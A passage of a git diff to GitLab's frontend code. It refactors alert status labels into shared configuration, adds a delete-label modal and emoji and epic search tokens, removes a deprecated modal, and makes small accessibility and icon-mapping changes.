+ statuses: {
+ type: Object,
+ required: false,
+ default: () => PAGE_CONFIG.OPERATIONS.STATUSES,
+ },
},
computed: {
dropdownClass() {
@@ -57,13 +58,13 @@ export default {
mutation: updateAlertStatusMutation,
variables: {
iid: this.alert.iid,
- status: status.toUpperCase(),
+ status,
projectPath: this.projectPath,
},
})
.then((resp) => {
if (this.trackAlertStatusUpdateOptions) {
- this.trackStatusUpdate(status);
+ this.trackStatusUpdate(this.statuses[status]);
}
const errors = resp.data?.updateAlertStatus?.errors || [];
@@ -99,7 +100,7 @@ export default {
<gl-dropdown
ref="dropdown"
right
- :text="$options.statuses[alert.status]"
+ :text="statuses[alert.status]"
class="w-100"
toggle-class="dropdown-menu-toggle"
@keydown.esc.native="$emit('hide-dropdown')"
@@ -110,12 +111,12 @@ export default {
</p>
<div class="dropdown-content dropdown-body">
<gl-dropdown-item
- v-for="(label, field) in $options.statuses"
+ v-for="(label, field) in statuses"
:key="field"
data-testid="statusDropdownItem"
- :active="label.toUpperCase() === alert.status"
+ :active="field === alert.status"
:active-class="'is-active'"
- @click="updateAlertStatus(label)"
+ @click="updateAlertStatus(field)"
>
{{ label }}
</gl-dropdown-item>
diff --git a/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue b/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue
index 0a2bad5510b..3822b9153a4 100644
--- a/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue
+++ b/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue
@@ -1,14 +1,9 @@
<script>
import { GlIcon, GlLoadingIcon, GlTooltip, GlSprintf } from '@gitlab/ui';
-import { s__ } from '~/locale';
+import { PAGE_CONFIG } from '../../constants';
import AlertStatus from '../alert_status.vue';
export default {
- statuses: {
- TRIGGERED: s__('AlertManagement|Triggered'),
- ACKNOWLEDGED: s__('AlertManagement|Acknowledged'),
- RESOLVED: s__('AlertManagement|Resolved'),
- },
components: {
GlIcon,
GlLoadingIcon,
@@ -16,6 +11,11 @@ export default {
GlSprintf,
AlertStatus,
},
+ inject: {
+ statuses: {
+ default: PAGE_CONFIG.OPERATIONS.STATUSES,
+ },
+ },
props: {
projectPath: {
type: String,
@@ -94,6 +94,7 @@ export default {
:project-path="projectPath"
:is-dropdown-showing="isDropdownShowing"
:is-sidebar="true"
+ :statuses="statuses"
@alert-error="$emit('alert-error', $event)"
@hide-dropdown="hideDropdown"
@handle-updating="handleUpdating"
@@ -103,14 +104,11 @@ export default {
<p
v-else-if="!isDropdownShowing"
class="value gl-m-0"
- :class="{ 'no-value': !$options.statuses[alert.status] }"
+ :class="{ 'no-value': !statuses[alert.status] }"
>
- <span
- v-if="$options.statuses[alert.status]"
- class="gl-text-gray-500"
- data-testid="status"
- >{{ $options.statuses[alert.status] }}</span
- >
+ <span v-if="statuses[alert.status]" class="gl-text-gray-500" data-testid="status">
+ {{ statuses[alert.status] }}
+ </span>
<span v-else>
{{ s__('AlertManagement|None') }}
</span>
diff --git a/app/assets/javascripts/vue_shared/alert_details/constants.js b/app/assets/javascripts/vue_shared/alert_details/constants.js
index 2ab5160534c..6cc70739eaa 100644
--- a/app/assets/javascripts/vue_shared/alert_details/constants.js
+++ b/app/assets/javascripts/vue_shared/alert_details/constants.js
@@ -13,6 +13,11 @@ export const SEVERITY_LEVELS = {
export const PAGE_CONFIG = {
OPERATIONS: {
TITLE: 'OPERATIONS',
+ STATUSES: {
+ TRIGGERED: s__('AlertManagement|Triggered'),
+ ACKNOWLEDGED: s__('AlertManagement|Acknowledged'),
+ RESOLVED: s__('AlertManagement|Resolved'),
+ },
// Tracks snowplow event when user views alert details
TRACK_ALERTS_DETAILS_VIEWS_OPTIONS: {
category: 'Alert Management',
@@ -27,5 +32,11 @@ export const PAGE_CONFIG = {
},
THREAT_MONITORING: {
TITLE: 'THREAT_MONITORING',
+ STATUSES: {
+ TRIGGERED: s__('ThreatMonitoring|Unreviewed'),
+ ACKNOWLEDGED: s__('ThreatMonitoring|In review'),
+ RESOLVED: s__('ThreatMonitoring|Resolved'),
+ IGNORED: s__('ThreatMonitoring|Dismissed'),
+ },
},
};
diff --git a/app/assets/javascripts/vue_shared/alert_details/index.js b/app/assets/javascripts/vue_shared/alert_details/index.js
index 50f2e63702b..fda405c0fa5 100644
--- a/app/assets/javascripts/vue_shared/alert_details/index.js
+++ b/app/assets/javascripts/vue_shared/alert_details/index.js
@@ -42,7 +42,8 @@ export default (selector) => {
}),
});
- apolloProvider.clients.defaultClient.cache.writeData({
+ apolloProvider.clients.defaultClient.cache.writeQuery({
+ query: sidebarStatusQuery,
data: {
sidebarStatus: false,
},
@@ -54,6 +55,7 @@ export default (selector) => {
page,
projectIssuesPath,
projectId,
+ statuses: PAGE_CONFIG[page].STATUSES,
};
if (page === PAGE_CONFIG.OPERATIONS.TITLE) {
diff --git a/app/assets/javascripts/vue_shared/components/alert_details_table.vue b/app/assets/javascripts/vue_shared/components/alert_details_table.vue
index 3d49a1cb1c5..a74e9d97143 100644
--- a/app/assets/javascripts/vue_shared/components/alert_details_table.vue
+++ b/app/assets/javascripts/vue_shared/components/alert_details_table.vue
@@ -7,6 +7,7 @@ import {
splitCamelCase,
} from '~/lib/utils/text_utility';
import { s__ } from '~/locale';
+import { PAGE_CONFIG } from '~/vue_shared/alert_details/constants';
const thClass = 'gl-bg-transparent! gl-border-1! gl-border-b-solid! gl-border-gray-200!';
const tdClass = 'gl-border-gray-100! gl-p-5!';
@@ -42,6 +43,11 @@ export default {
type: Boolean,
required: true,
},
+ statuses: {
+ type: Object,
+ required: false,
+ default: () => PAGE_CONFIG.OPERATIONS.STATUSES,
+ },
},
fields: [
{
@@ -71,6 +77,8 @@ export default {
let value;
if (fieldName === 'environment') {
value = fieldValue?.name;
+ } else if (fieldName === 'status') {
+ value = this.statuses[fieldValue] || fieldValue;
} else {
value = fieldValue;
}
diff --git a/app/assets/javascripts/vue_shared/components/awards_list.vue b/app/assets/javascripts/vue_shared/components/awards_list.vue
index 82b3545117f..08d3e163257 100644
--- a/app/assets/javascripts/vue_shared/components/awards_list.vue
+++ b/app/assets/javascripts/vue_shared/components/awards_list.vue
@@ -44,6 +44,16 @@ export default {
required: false,
default: () => [],
},
+ selectedClass: {
+ type: String,
+ required: false,
+ default: 'selected',
+ },
+ },
+ data() {
+ return {
+ isMenuOpen: false,
+ };
},
computed: {
groupedDefaultAwards() {
@@ -68,7 +78,7 @@ export default {
methods: {
getAwardClassBindings(awardList) {
return {
- selected: this.hasReactionByCurrentUser(awardList),
+ [this.selectedClass]: this.hasReactionByCurrentUser(awardList),
disabled: this.currentUserId === NO_USER_ID,
};
},
@@ -147,6 +157,11 @@ export default {
const parsedName = /^[0-9]+$/.test(awardName) ? Number(awardName) : awardName;
this.$emit('award', parsedName);
+
+ if (document.activeElement) document.activeElement.blur();
+ },
+ setIsMenuOpen(menuOpen) {
+ this.isMenuOpen = menuOpen;
},
},
};
@@ -172,8 +187,10 @@ export default {
<div v-if="canAwardEmoji" class="award-menu-holder">
<emoji-picker
v-if="glFeatures.improvedEmojiPicker"
- toggle-class="add-reaction-button gl-relative!"
+ :toggle-class="['add-reaction-button gl-relative!', { 'is-active': isMenuOpen }]"
@click="handleAward"
+ @shown="setIsMenuOpen(true)"
+ @hidden="setIsMenuOpen(false)"
>
<template #button-content>
<span class="reaction-control-icon reaction-control-icon-neutral">
diff --git a/app/assets/javascripts/vue_shared/components/blob_viewers/mixins.js b/app/assets/javascripts/vue_shared/components/blob_viewers/mixins.js
index db61d0f6b05..9c2ed5abf04 100644
--- a/app/assets/javascripts/vue_shared/components/blob_viewers/mixins.js
+++ b/app/assets/javascripts/vue_shared/components/blob_viewers/mixins.js
@@ -11,6 +11,16 @@ export default {
type: String,
required: true,
},
+ isRawContent: {
+ type: Boolean,
+ default: false,
+ required: false,
+ },
+ fileName: {
+ type: String,
+ required: false,
+ default: '',
+ },
},
mounted() {
eventHub.$emit(SNIPPET_MEASURE_BLOBS_CONTENT);
diff --git a/app/assets/javascripts/vue_shared/components/blob_viewers/simple_viewer.vue b/app/assets/javascripts/vue_shared/components/blob_viewers/simple_viewer.vue
index 5bb31f55e6c..f477610ff1d 100644
--- a/app/assets/javascripts/vue_shared/components/blob_viewers/simple_viewer.vue
+++ b/app/assets/javascripts/vue_shared/components/blob_viewers/simple_viewer.vue
@@ -1,14 +1,17 @@
<script>
/* eslint-disable vue/no-v-html */
import { GlIcon } from '@gitlab/ui';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { HIGHLIGHT_CLASS_NAME } from './constants';
import ViewerMixin from './mixins';
export default {
components: {
GlIcon,
+ EditorLite: () =>
+ import(/* webpackChunkName: 'EditorLite' */ '~/vue_shared/components/editor_lite.vue'),
},
- mixins: [ViewerMixin],
+ mixins: [ViewerMixin, glFeatureFlagsMixin()],
inject: ['blobHash'],
data() {
return {
@@ -19,6 +22,9 @@ export default {
lineNumbers() {
return this.content.split('\n').length;
},
+ refactorBlobViewerEnabled() {
+ return this.glFeatures.refactorBlobViewer;
+ },
},
mounted() {
const { hash } = window.location;
@@ -45,27 +51,31 @@ export default {
};
</script>
<template>
- <div
- class="file-content code js-syntax-highlight"
- data-qa-selector="file_content"
- :class="$options.userColorScheme"
- >
- <div class="line-numbers">
- <a
- v-for="line in lineNumbers"
- :id="`L${line}`"
- :key="line"
- class="diff-line-num js-line-number"
- :href="`#LC${line}`"
- :data-line-number="line"
- @click="scrollToLine(`#LC${line}`)"
- >
- <gl-icon :size="12" name="link" />
- {{ line }}
- </a>
- </div>
- <div class="blob-content">
- <pre class="code highlight"><code :data-blob-hash="blobHash" v-html="content"></code></pre>
+ <div>
+ <editor-lite
+ v-if="isRawContent && refactorBlobViewerEnabled"
+ :value="content"
+ :file-name="fileName"
+ :editor-options="{ readOnly: true }"
+ />
+ <div v-else class="file-content code js-syntax-highlight" :class="$options.userColorScheme">
+ <div class="line-numbers">
+ <a
+ v-for="line in lineNumbers"
+ :id="`L${line}`"
+ :key="line"
+ class="diff-line-num js-line-number"
+ :href="`#LC${line}`"
+ :data-line-number="line"
+ @click="scrollToLine(`#LC${line}`)"
+ >
+ <gl-icon :size="12" name="link" />
+ {{ line }}
+ </a>
+ </div>
+ <div class="blob-content">
+ <pre class="code highlight"><code :data-blob-hash="blobHash" v-html="content"></code></pre>
+ </div>
</div>
</div>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/clone_dropdown.vue b/app/assets/javascripts/vue_shared/components/clone_dropdown.vue
index cd5f63afc79..f14e1992901 100644
--- a/app/assets/javascripts/vue_shared/components/clone_dropdown.vue
+++ b/app/assets/javascripts/vue_shared/components/clone_dropdown.vue
@@ -56,6 +56,7 @@ export default {
<gl-button
v-gl-tooltip.hover
:title="$options.copyURLTooltip"
+ :aria-label="$options.copyURLTooltip"
:data-clipboard-text="sshLink"
data-qa-selector="copy_ssh_url_button"
icon="copy-to-clipboard"
@@ -75,6 +76,7 @@ export default {
<gl-button
v-gl-tooltip.hover
:title="$options.copyURLTooltip"
+ :aria-label="$options.copyURLTooltip"
:data-clipboard-text="httpLink"
data-qa-selector="copy_http_url_button"
icon="copy-to-clipboard"
diff --git a/app/assets/javascripts/vue_shared/components/delete_label_modal.vue b/app/assets/javascripts/vue_shared/components/delete_label_modal.vue
new file mode 100644
index 00000000000..1ff0938d086
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/delete_label_modal.vue
@@ -0,0 +1,81 @@
+<script>
+import { GlModal, GlSprintf, GlButton } from '@gitlab/ui';
+import { uniqueId } from 'lodash';
+
+export default {
+ components: {
+ GlModal,
+ GlSprintf,
+ GlButton,
+ },
+ props: {
+ selector: {
+ type: String,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ labelName: '',
+ subjectName: '',
+ destroyPath: '',
+ modalId: uniqueId('modal-delete-label-'),
+ };
+ },
+ mounted() {
+ document.querySelectorAll(this.selector).forEach((button) => {
+ button.addEventListener('click', (e) => {
+ e.preventDefault();
+
+ const { labelName, subjectName, destroyPath } = button.dataset;
+ this.labelName = labelName;
+ this.subjectName = subjectName;
+ this.destroyPath = destroyPath;
+ this.openModal();
+ });
+ });
+ },
+ methods: {
+ openModal() {
+ this.$refs.modal.show();
+ },
+ closeModal() {
+ this.$refs.modal.hide();
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-modal ref="modal" :modal-id="modalId">
+ <template #modal-title>
+ <gl-sprintf :message="__('Delete label: %{labelName}')">
+ <template #labelName>
+ {{ labelName }}
+ </template>
+ </gl-sprintf>
+ </template>
+ <gl-sprintf
+ :message="
+ __(
+ `%{strongStart}${labelName}%{strongEnd} will be permanently deleted from ${subjectName}. This cannot be undone.`,
+ )
+ "
+ >
+ <template #strong="{ content }">
+ <strong>{{ content }}</strong>
+ </template>
+ </gl-sprintf>
+ <template #modal-footer>
+ <gl-button category="secondary" @click="closeModal">{{ __('Cancel') }}</gl-button>
+ <gl-button
+ category="primary"
+ variant="danger"
+ :href="destroyPath"
+ data-method="delete"
+ data-testid="delete-button"
+ >{{ __('Delete label') }}</gl-button
+ >
+ </template>
+ </gl-modal>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/deprecated_modal.vue b/app/assets/javascripts/vue_shared/components/deprecated_modal.vue
deleted file mode 100644
index 3f55f43edbb..00000000000
--- a/app/assets/javascripts/vue_shared/components/deprecated_modal.vue
+++ /dev/null
@@ -1,146 +0,0 @@
-<script>
-/* eslint-disable vue/require-default-prop */
-import { __ } from '~/locale';
-
-export default {
- name: 'DeprecatedModal', // use GlModal instead
-
- props: {
- id: {
- type: String,
- required: false,
- },
- title: {
- type: String,
- required: false,
- },
- text: {
- type: String,
- required: false,
- },
- hideFooter: {
- type: Boolean,
- required: false,
- default: false,
- },
- kind: {
- type: String,
- required: false,
- default: 'primary',
- },
- modalDialogClass: {
- type: String,
- required: false,
- default: '',
- },
- closeKind: {
- type: String,
- required: false,
- default: 'default',
- },
- closeButtonLabel: {
- type: String,
- required: false,
- default: __('Cancel'),
- },
- primaryButtonLabel: {
- type: String,
- required: false,
- default: '',
- },
- secondaryButtonLabel: {
- type: String,
- required: false,
- default: '',
- },
- submitDisabled: {
- type: Boolean,
- required: false,
- default: false,
- },
- },
-
- computed: {
- btnKindClass() {
- return {
- [`btn-${this.kind}`]: true,
- };
- },
- btnCancelKindClass() {
- return {
- [`btn-${this.closeKind}`]: true,
- };
- },
- },
-
- methods: {
- emitCancel(event) {
- this.$emit('cancel', event);
- },
- emitSubmit(event) {
- this.$emit('submit', event);
- },
- },
-};
-</script>
-
-<template>
- <div class="modal-open">
- <div :id="id" :class="id ? '' : 'd-block'" class="modal" role="dialog" tabindex="-1">
- <div :class="modalDialogClass" class="modal-dialog" role="document">
- <div class="modal-content">
- <div class="modal-header">
- <slot name="header">
- <h4 class="modal-title float-left">{{ title }}</h4>
- <button
- type="button"
- class="close float-right"
- data-dismiss="modal"
- :aria-label="__('Close')"
- @click="emitCancel($event)"
- >
- <span aria-hidden="true">&times;</span>
- </button>
- </slot>
- </div>
- <div class="modal-body">
- <slot :text="text" name="body">
- <p>{{ text }}</p>
- </slot>
- </div>
- <div v-if="!hideFooter" class="modal-footer">
- <button
- :class="btnCancelKindClass"
- type="button"
- class="btn"
- data-dismiss="modal"
- @click="emitCancel($event)"
- >
- {{ closeButtonLabel }}
- </button>
-
- <slot v-if="secondaryButtonLabel" name="secondary-button">
- <button v-if="secondaryButtonLabel" type="button" class="btn" data-dismiss="modal">
- {{ secondaryButtonLabel }}
- </button>
- </slot>
-
- <button
- v-if="primaryButtonLabel"
- :disabled="submitDisabled"
- :class="btnKindClass"
- type="button"
- class="btn js-primary-button"
- data-dismiss="modal"
- data-qa-selector="save_changes_button"
- @click="emitSubmit($event)"
- >
- {{ primaryButtonLabel }}
- </button>
- </div>
- </div>
- </div>
- </div>
- <div v-if="!id" class="modal-backdrop fade show"></div>
- </div>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/file_finder/index.vue b/app/assets/javascripts/vue_shared/components/file_finder/index.vue
index 4ec54b33bce..fbadb202d51 100644
--- a/app/assets/javascripts/vue_shared/components/file_finder/index.vue
+++ b/app/assets/javascripts/vue_shared/components/file_finder/index.vue
@@ -3,6 +3,7 @@ import { GlIcon } from '@gitlab/ui';
import fuzzaldrinPlus from 'fuzzaldrin-plus';
import Mousetrap from 'mousetrap';
import VirtualList from 'vue-virtual-scroll-list';
+import { keysFor, MR_GO_TO_FILE } from '~/behaviors/shortcuts/keybindings';
import { UP_KEY_CODE, DOWN_KEY_CODE, ENTER_KEY_CODE, ESC_KEY_CODE } from '~/lib/utils/keycodes';
import Item from './item.vue';
@@ -128,7 +129,7 @@ export default {
this.focusedIndex = 0;
}
- Mousetrap.bind(['t', 'mod+p'], (e) => {
+ Mousetrap.bind(keysFor(MR_GO_TO_FILE), (e) => {
if (e.preventDefault) {
e.preventDefault();
}
diff --git a/app/assets/javascripts/vue_shared/components/file_icon/file_icon_map.js b/app/assets/javascripts/vue_shared/components/file_icon/file_icon_map.js
index f7cfb59be01..e622b505570 100644
--- a/app/assets/javascripts/vue_shared/components/file_icon/file_icon_map.js
+++ b/app/assets/javascripts/vue_shared/components/file_icon/file_icon_map.js
@@ -128,6 +128,7 @@ const fileExtensionIcons = {
c: 'c',
m: 'c',
h: 'h',
+ 'c++': 'cpp',
cc: 'cpp',
cpp: 'cpp',
mm: 'cpp',
@@ -402,14 +403,15 @@ const fileNameIcons = {
'gradle.properties': 'gradle',
gradlew: 'gradle',
'gradle-wrapper.properties': 'gradle',
- license: 'certificate',
- 'license.md': 'certificate',
- 'license.md.rendered': 'certificate',
- 'license.txt': 'certificate',
- licence: 'certificate',
- 'licence.md': 'certificate',
- 'licence.md.rendered': 'certificate',
- 'licence.txt': 'certificate',
+ COPYING: 'certificate',
+ 'COPYING.LESSER': 'certificate',
+ LICENSE: 'certificate',
+ LICENCE: 'certificate',
+ 'LICENSE.md': 'certificate',
+ 'LICENCE.md': 'certificate',
+ 'LICENSE.txt': 'certificate',
+ 'LICENCE.txt': 'certificate',
+ '.gitlab-license': 'certificate',
dockerfile: 'docker',
'docker-compose.yml': 'docker',
'.mailmap': 'email',
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue
index 97a8f681faf..107ced550c1 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue
@@ -58,7 +58,7 @@ export default {
type: String,
required: false,
default: '',
- validator: (value) => value === '' || /(_desc)|(_asc)/g.test(value),
+ validator: (value) => value === '' || /(_desc)|(_asc)/gi.test(value),
},
showCheckbox: {
type: Boolean,
@@ -363,6 +363,7 @@ export default {
<gl-button
v-gl-tooltip
:title="sortDirectionTooltip"
+ :aria-label="sortDirectionTooltip"
:icon="sortDirectionIcon"
class="flex-shrink-1"
@click="handleSortDirectionClick"
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue
index d53c829a48e..aeb698a3adb 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue
@@ -45,6 +45,9 @@ export default {
activeAuthor() {
return this.authors.find((author) => author.username.toLowerCase() === this.currentValue);
},
+ activeAuthorAvatar() {
+ return this.avatarUrl(this.activeAuthor);
+ },
},
watch: {
active: {
@@ -74,6 +77,9 @@ export default {
this.loading = false;
});
},
+ avatarUrl(author) {
+ return author.avatarUrl || author.avatar_url;
+ },
searchAuthors: debounce(function debouncedSearch({ data }) {
this.fetchAuthorBySearchTerm(data);
}, DEBOUNCE_DELAY),
@@ -92,7 +98,7 @@ export default {
<gl-avatar
v-if="activeAuthor"
:size="16"
- :src="activeAuthor.avatar_url"
+ :src="activeAuthorAvatar"
shape="circle"
class="gl-mr-2"
/>
@@ -115,7 +121,7 @@ export default {
:value="author.username"
>
<div class="d-flex">
- <gl-avatar :size="32" :src="author.avatar_url" />
+ <gl-avatar :size="32" :src="avatarUrl(author)" />
<div>
<div>{{ author.name }}</div>
<div>@{{ author.username }}</div>
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue
new file mode 100644
index 00000000000..98190d716c9
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue
@@ -0,0 +1,105 @@
+<script>
+import {
+ GlFilteredSearchToken,
+ GlFilteredSearchSuggestion,
+ GlDropdownDivider,
+ GlLoadingIcon,
+} from '@gitlab/ui';
+import { debounce } from 'lodash';
+
+import { deprecatedCreateFlash as createFlash } from '~/flash';
+import { __ } from '~/locale';
+
+import { DEFAULT_LABEL_NONE, DEFAULT_LABEL_ANY, DEBOUNCE_DELAY } from '../constants';
+import { stripQuotes } from '../filtered_search_utils';
+
+export default {
+ components: {
+ GlFilteredSearchToken,
+ GlFilteredSearchSuggestion,
+ GlDropdownDivider,
+ GlLoadingIcon,
+ },
+ props: {
+ config: {
+ type: Object,
+ required: true,
+ },
+ value: {
+ type: Object,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ emojis: this.config.initialEmojis || [],
+ defaultEmojis: this.config.defaultEmojis || [DEFAULT_LABEL_NONE, DEFAULT_LABEL_ANY],
+ loading: true,
+ };
+ },
+ computed: {
+ currentValue() {
+ return this.value.data.toLowerCase();
+ },
+ activeEmoji() {
+ return this.emojis.find(
+ (emoji) => emoji.name.toLowerCase() === stripQuotes(this.currentValue),
+ );
+ },
+ },
+ methods: {
+ fetchEmojiBySearchTerm(searchTerm) {
+ this.loading = true;
+ this.config
+ .fetchEmojis(searchTerm)
+ .then((res) => {
+ this.emojis = Array.isArray(res) ? res : res.data;
+ })
+ .catch(() => createFlash(__('There was a problem fetching emojis.')))
+ .finally(() => {
+ this.loading = false;
+ });
+ },
+ searchEmojis: debounce(function debouncedSearch({ data }) {
+ this.fetchEmojiBySearchTerm(data);
+ }, DEBOUNCE_DELAY),
+ },
+};
+</script>
+
+<template>
+ <gl-filtered-search-token
+ :config="config"
+ v-bind="{ ...$props, ...$attrs }"
+ v-on="$listeners"
+ @input="searchEmojis"
+ >
+ <template #view="{ inputValue }">
+ <gl-emoji v-if="activeEmoji" :data-name="activeEmoji.name" />
+ <span v-else>{{ inputValue }}</span>
+ </template>
+ <template #suggestions>
+ <gl-filtered-search-suggestion
+ v-for="emoji in defaultEmojis"
+ :key="emoji.value"
+ :value="emoji.value"
+ >
+ {{ emoji.value }}
+ </gl-filtered-search-suggestion>
+ <gl-dropdown-divider v-if="defaultEmojis.length" />
+ <gl-loading-icon v-if="loading" />
+ <template v-else>
+ <gl-filtered-search-suggestion
+ v-for="emoji in emojis"
+ :key="emoji.name"
+ :value="emoji.name"
+ >
+ <div class="gl-display-flex">
+ <gl-emoji :data-name="emoji.name" />
+ <span class="gl-ml-3">{{ emoji.name }}</span>
+ </div>
+ </gl-filtered-search-suggestion>
+ </template>
+ </template>
+ </gl-filtered-search-token>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/epic_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/epic_token.vue
new file mode 100644
index 00000000000..101c7150c55
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/epic_token.vue
@@ -0,0 +1,133 @@
+<script>
+import { GlFilteredSearchToken, GlFilteredSearchSuggestion, GlLoadingIcon } from '@gitlab/ui';
+import { debounce } from 'lodash';
+
+import createFlash from '~/flash';
+import { isNumeric } from '~/lib/utils/number_utils';
+import { __ } from '~/locale';
+import { DEBOUNCE_DELAY } from '../constants';
+import { stripQuotes } from '../filtered_search_utils';
+
+export default {
+ components: {
+ GlFilteredSearchToken,
+ GlFilteredSearchSuggestion,
+ GlLoadingIcon,
+ },
+ props: {
+ config: {
+ type: Object,
+ required: true,
+ },
+ value: {
+ type: Object,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ epics: this.config.initialEpics || [],
+ loading: true,
+ };
+ },
+ computed: {
+ currentValue() {
+ /*
+ * When the URL contains the epic_iid, we'd get: '123'
+ */
+ if (isNumeric(this.value.data)) {
+ return parseInt(this.value.data, 10);
+ }
+
+ /*
+ * When the token is added in current session it'd be: 'Foo::&123'
+ */
+ const id = this.value.data.split('::&')[1];
+
+ if (id) {
+ return parseInt(id, 10);
+ }
+
+ return this.value.data;
+ },
+ activeEpic() {
+ const currentValueIsString = typeof this.currentValue === 'string';
+ return this.epics.find(
+ (epic) => epic[currentValueIsString ? 'title' : 'iid'] === this.currentValue,
+ );
+ },
+ },
+ watch: {
+ active: {
+ immediate: true,
+ handler(newValue) {
+ if (!newValue && !this.epics.length) {
+ this.searchEpics({ data: this.currentValue });
+ }
+ },
+ },
+ },
+ methods: {
+ fetchEpicsBySearchTerm(searchTerm = '') {
+ this.loading = true;
+ this.config
+ .fetchEpics(searchTerm)
+ .then(({ data }) => {
+ this.epics = data;
+ })
+ .catch(() => createFlash({ message: __('There was a problem fetching epics.') }))
+ .finally(() => {
+ this.loading = false;
+ });
+ },
+ fetchSingleEpic(iid) {
+ this.loading = true;
+ this.config
+ .fetchSingleEpic(iid)
+ .then(({ data }) => {
+ this.epics = [data];
+ })
+ .catch(() => createFlash({ message: __('There was a problem fetching epics.') }))
+ .finally(() => {
+ this.loading = false;
+ });
+ },
+ searchEpics: debounce(function debouncedSearch({ data }) {
+ if (isNumeric(data)) {
+ return this.fetchSingleEpic(data);
+ }
+ return this.fetchEpicsBySearchTerm(data);
+ }, DEBOUNCE_DELAY),
+
+ getEpicValue(epic) {
+ return `${epic.title}::&${epic.iid}`;
+ },
+ },
+ stripQuotes,
+};
+</script>
+
+<template>
+ <gl-filtered-search-token
+ :config="config"
+ v-bind="{ ...$props, ...$attrs }"
+ v-on="$listeners"
+ @input="searchEpics"
+ >
+ <template #view="{ inputValue }">
+ <span>{{ activeEpic ? getEpicValue(activeEpic) : $options.stripQuotes(inputValue) }}</span>
+ </template>
+ <template #suggestions>
+ <gl-loading-icon v-if="loading" />
+ <template v-else>
+ <gl-filtered-search-suggestion
+ v-for="epic in epics"
+ :key="epic.id"
+ :value="getEpicValue(epic)"
+ >
+ <div>{{ epic.title }}</div>
+ </gl-filtered-search-suggestion>
+ </template>
+ </template>
+ </gl-filtered-search-token>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue
index 9c2a644b7a9..76b005772ec 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue
@@ -46,7 +46,7 @@ export default {
},
activeLabel() {
return this.labels.find(
- (label) => label.title.toLowerCase() === stripQuotes(this.currentValue),
+ (label) => this.getLabelName(label).toLowerCase() === stripQuotes(this.currentValue),
);
},
containerStyle() {
@@ -69,6 +69,21 @@ export default {
},
},
methods: {
+ /**
+ * There's an inconsistency between private and public API
+ * for labels where label name is included in a different
+ * property;
+ *
+ * Private API => `label.title`
+ * Public API => `label.name`
+ *
+ * This method allows compatibility as there may be instances
+ * where `config.fetchLabels` provided externally may still be
+ * using either of the two APIs.
+ */
+ getLabelName(label) {
+ return label.name || label.title;
+ },
fetchLabelBySearchTerm(searchTerm) {
this.loading = true;
this.config
@@ -85,7 +100,7 @@ export default {
});
},
searchLabels: debounce(function debouncedSearch({ data }) {
- this.fetchLabelBySearchTerm(data);
+ if (!this.loading) this.fetchLabelBySearchTerm(data);
}, DEBOUNCE_DELAY),
},
};
@@ -100,7 +115,7 @@ export default {
>
<template #view-token="{ inputValue, cssClasses, listeners }">
<gl-token variant="search-value" :class="cssClasses" :style="containerStyle" v-on="listeners"
- >~{{ activeLabel ? activeLabel.title : inputValue }}</gl-token
+ >~{{ activeLabel ? getLabelName(activeLabel) : inputValue }}</gl-token
>
</template>
<template #suggestions>
@@ -114,13 +129,17 @@ export default {
<gl-dropdown-divider v-if="defaultLabels.length" />
<gl-loading-icon v-if="loading" />
<template v-else>
- <gl-filtered-search-suggestion v-for="label in labels" :key="label.id" :value="label.title">
- <div class="gl-display-flex">
+ <gl-filtered-search-suggestion
+ v-for="label in labels"
+ :key="label.id"
+ :value="getLabelName(label)"
+ >
+ <div class="gl-display-flex gl-align-items-center">
<span
:style="{ backgroundColor: label.color }"
class="gl-display-inline-block mr-2 p-2"
></span>
- <div>{{ label.title }}</div>
+ <div>{{ getLabelName(label) }}</div>
</div>
</gl-filtered-search-suggestion>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/gl_toggle_vuex.vue b/app/assets/javascripts/vue_shared/components/gl_toggle_vuex.vue
deleted file mode 100644
index b649dac029a..00000000000
--- a/app/assets/javascripts/vue_shared/components/gl_toggle_vuex.vue
+++ /dev/null
@@ -1,49 +0,0 @@
-<script>
-import { GlToggle } from '@gitlab/ui';
-import { capitalizeFirstCharacter } from '~/lib/utils/text_utility';
-
-export default {
- name: 'GlToggleVuex',
- components: {
- GlToggle,
- },
- props: {
- stateProperty: {
- type: String,
- required: true,
- },
- storeModule: {
- type: String,
- required: false,
- default: null,
- },
- setAction: {
- type: String,
- required: false,
- default() {
